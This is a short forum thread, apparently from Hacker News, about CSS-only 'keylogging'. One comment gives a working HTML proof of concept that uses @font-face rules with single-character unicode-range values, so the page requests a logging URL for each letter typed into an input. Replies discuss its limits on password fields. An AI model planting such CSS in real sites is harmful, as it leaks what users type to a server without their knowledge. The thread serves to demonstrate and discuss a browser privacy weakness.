3 ms·
To some limited degree (you can detect presence, not position or number of occurences of character), you can do CSS only 'keylogging' even for non-reactive (san
by myfonj 9y ago
To some limited degree (you can detect presence, not position or number of occurences of character), you can do CSS only 'keylogging' even for non-reactive (sans JavaScript) input: you don't have to use attribute selector (which does't work without physical updates), but can exploit webfont with single letter `unicode-range` chunks. Posted it [1] to CrookedStyleSheets [2] some time ago:
<!doctype html>
<title>css keylogger</title>
<style>
@font-face { font-family: x; src: url(./log?a), local(Impact); unicode-range: U+61; }
@font-face { font-family: x; src: url(./log?b), local(Impact); unicode-range: U+62; }
@font-face { font-family: x; src: url(./log?c), local(Impact); unicode-range: U+63; }
@font-face { font-family: x; src: url(./log?d), local(Impact); unicode-range: U+64; }
input { font-family: x, 'Comic sans ms'; }
</style>
<input value="a">type `bcd` and watch network log
[1] https://github.com/jbtronics/CrookedStyleSheets/issues/24 https://github.com/jbtronics/CrookedStyleSheets/issues/24
[2] https://news.ycombinator.com/item?id=16157773 https://news.ycombinator.com/item?id=16157773
- Manishearth 9y agoThis will not work with password fields.
- sachleen 9y agoThen there's always this: https://www.troyhunt.com/bypassing-browser-security-warnings-with-pseudo-password-fields/ https://www.troyhunt.com/bypassing-browser-security-warnings...